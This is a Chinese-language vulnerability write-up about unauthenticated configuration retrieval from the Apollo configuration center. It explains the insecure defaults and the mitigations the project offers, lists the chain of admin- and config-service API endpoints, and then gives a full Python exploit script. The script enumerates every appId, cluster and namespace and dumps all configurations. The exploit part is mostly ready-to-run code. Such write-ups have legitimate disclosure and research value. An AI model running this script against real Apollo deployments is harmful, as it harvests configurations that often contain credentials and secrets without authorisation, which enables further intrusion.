Apollo 配置中心未授权获取配置漏洞利用

0x00:背景

Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境、不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限、流程治理等特性,适用于微服务配置管理场景。

0x01:默认不安全

issues-2099 可以看出,根本不需要通过要鉴权的 apollo-dashboard ,只要通过伪造成客户端,即可未授权获取相应的配置信息。

Apollo 官方的解决方案是:

1.6.0 版本开始增加访问密钥机制,只有经过身份验证的客户端才能访问敏感配置。如果应用开启了访问密钥,客户端需要配置密钥,否则无法获取配置。但是默认不会开启此项功能

1.7.1 版本开始可以为 apollo-adminservice 开启访问控制,从而只有合法的 apollo-portal 才能访问对应接口,以增强安全性。类似于增加配置:

admin-service.access.control.enabled = true
admin-service.access.tokens=098f6bcd4621d373xade4e832627b4f6

有意思的是,默认 admin-service.access.control.enabled 值为 false也就是默认不会开启此项功能

0x02:环境搭建

使用 https://github.com/nobodyiam/apollo-build-scripts 快速搭建好 demo。

  • 默认开放的端口情况:
端口号 服务类型
8070 apollo-dashboard
8080 apollo-configservice
8090 apollo-adminservice
  • 网站首页

apollo-dashboard

apollo-configservice

apollo-adminservice

0x03:漏洞利用

由于网上没有漏洞细节,所以我下载了 Apollo 源码,分析了下几个服务的相关代码,下面给出一种利用方法。

大致流程就是利用默认可未授权访问的 apollo-configserviceapollo-adminservice 服务,通过调用相关接口获取所有能够获取到的配置信息。

# 1. 获取所有的应用基本信息(包含 appId)
http://test.landgrey.me:8090/apps

# 2. 获取相关 appId 的所有 cluster
http://test.landgrey.me:8090/apps/<appId>/clusters

# 3. 获取相关 appId 的 namespaces
http://test.landgrey.me:8090/apps/<appId>/appnamespaces

# 4. 组合 appId cluster namespaceName 获取配置 configurations
http://test.landgrey.me:8080/configs/<appId>/<cluster>/<namespaceName>

python3 利用脚本:

#!/usr/bin/env python3
# coding: utf-8
# Build By LandGrey

import json
import time
import requests
from urllib.parse import urlparse


def get_response(uri):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20200101 Firefox/60.0",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    return requests.get(uri, headers=headers, timeout=20, allow_redirects=False)


def get_app_ids(uri):
    app_ids = []
    response = get_response("{}/apps".format(uri))
    html = response.text
    if response.status_code == 200:
        for app in json.loads(html):
            app_ids.append(app.get("appId"))
    return app_ids


def get_clusters(uri, app_ids):
    clusters = {}
    for app_id in app_ids:
        clusters[app_id] = []
        response = get_response("{}/apps/{}/clusters".format(uri, app_id))
        html = response.text
        if response.status_code == 200:
            for app in json.loads(html):
                clusters[app_id].append(app.get("name"))
    return clusters


def get_namespaces(uri, app_ids, clusters):
    namespaces = {}
    for app_id in app_ids:
        namespaces[app_id] = []
        for cluster in clusters[app_id]:
            url = "{}/apps/{}/clusters/{}/namespaces".format(uri, app_id, cluster)
            response = get_response(url)
            html = response.text
            if response.status_code == 200:
                for app in json.loads(html):
                    namespaces[app_id].append(app.get("namespaceName"))
    return namespaces


def get_configurations(uri, app_ids, clusters, namespaces):
    configurations = []
    for app_id in app_ids:
        for cluster in clusters[app_id]:
            for namespace in namespaces[app_id]:
                key_name = "{}-{}-{}".format(app_id, cluster, namespace)
                url = "{}/configs/{}/{}/{}".format(uri, app_id, cluster, namespace)
                response = get_response(url)
                code = response.status_code
                html = response.text
                print("[+] get {} configs, status: {}".format(url, code))
                time.sleep(1)
                if code == 200:
                    configurations.append({key_name: json.loads(html)})
    return configurations


if __name__ == "__main__":
    apollo_adminservice = "http://test.landgrey.me:8090"
    apollo_configservice = "http://test.landgrey.me:8080"

    scheme0, netloc0, path0, params0, query0, fragment0 = urlparse(apollo_adminservice)
    host0 = "{}://{}".format(scheme0, netloc0)

    _ids = get_app_ids(host0)
    print("All appIds:")
    print(_ids)

    _clusters = get_clusters(host0, _ids)
    print("\nAll Clusters:")
    print(_clusters)

    _namespaces = get_namespaces(host0, _ids, _clusters)
    print("\nAll Namespaces:")
    print(_namespaces)
    print()

    scheme1, netloc1, path1, params1, query1, fragment1 = urlparse(apollo_configservice)
    host1 = "{}://{}".format(scheme1, netloc1)
    _configurations = get_configurations(host1, _ids, _clusters, _namespaces)
    print("\nresults:\n")
    print(_configurations)

参考文章

https://github.com/ctripcorp/apollo/wiki

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